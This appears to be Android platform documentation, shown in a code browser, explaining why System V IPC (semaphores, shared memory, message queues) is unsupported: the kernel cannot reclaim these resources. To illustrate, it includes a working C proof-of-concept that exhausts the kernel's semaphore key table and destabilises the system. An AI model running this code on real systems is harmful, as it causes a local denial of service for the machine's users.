• Home
  • Line#
  • Scopes#
  • Navigate#
  • Raw
  • Download
1Android does not support System V IPCs, i.e. the facilities provided by the
2following standard Posix headers:
3
4  <sys/sem.h>   /* SysV semaphores */
5  <sys/shm.h>   /* SysV shared memory segments */
6  <sys/msg.h>   /* SysV message queues */
7  <sys/ipc.h>   /* General IPC definitions */
8
9The reason for this is due to the fact that, by design, they lead to global
10kernel resource leakage.
11
12For example, there is no way to automatically release a SysV semaphore
13allocated in the kernel when:
14
15- a buggy or malicious process exits
16- a non-buggy and non-malicious process crashes or is explicitely killed.
17
18Killing processes automatically to make room for new ones is an
19important part of Android's application lifecycle implementation. This means
20that, even assuming only non-buggy and non-malicious code, it is very likely
21that over time, the kernel global tables used to implement SysV IPCs will fill
22up.
23
24At that point, strange failures are likely to occur and prevent programs that
25use them to run properly until the next reboot of the system.
26
27And we can't ignore potential malicious applications. As a proof of concept
28here is a simple exploit that you can run on a standard Linux box today:
29
30--------------- cut here ------------------------
31#include <sys/sem.h>
32#include <sys/wait.h>
33#include <unistd.h>
34#include <stdio.h>
35#include <stdlib.h>
36#include <errno.h>
37
38#define  NUM_SEMAPHORES  32
39#define  MAX_FAILS       10
40
41int  main(void)
42{
43    int   counter = 0;
44    int   fails   = 0;
45
46    if (counter == IPC_PRIVATE)
47        counter++;
48
49    printf( "%d (NUM_SEMAPHORES=%d)\n", counter, NUM_SEMAPHORES);
50
51    for (;;) {
52        int  ret = fork();
53        int  status;
54
55        if (ret < 0) {
56            perror("fork:");
57            break;
58        }
59        if (ret == 0) {
60            /* in the child */
61            ret = semget( (key_t)counter, NUM_SEMAPHORES, IPC_CREAT );
62            if (ret < 0) {
63                return errno;
64            }
65            return 0;
66        }
67        else {
68            /* in the parent */
69            ret = wait(&status);
70            if (ret < 0) {
71                perror("waitpid:");
72                break;
73            }
74            if (status != 0) {
75                status = WEXITSTATUS(status);
76                fprintf(stderr, "child %d FAIL at counter=%d: %d\n", ret,
77                                counter, status);
78                if (++fails >= MAX_FAILS)
79                    break;
80            }
81        }
82
83        counter++;
84        if ((counter % 1000) == 0) {
85            printf("%d\n", counter);
86        }
87        if (counter == IPC_PRIVATE)
88            counter++;
89    }
90    return 0;
91}
92--------------- cut here ------------------------
93
94If you run it on a typical Linux distribution today, you'll discover that it
95will quickly fill up the kernel's table of unique key_t values, and that
96strange things will happen in some parts of the system, but not all.
97
98(You can use the "ipcs -u" command to get a summary describing the kernel
99 tables and their allocations)
100
101For example, in our experience, anything program launched after that that
102calls strerror() will simply crash. The USB sub-system starts spoutting weird
103errors to the system console, etc...
104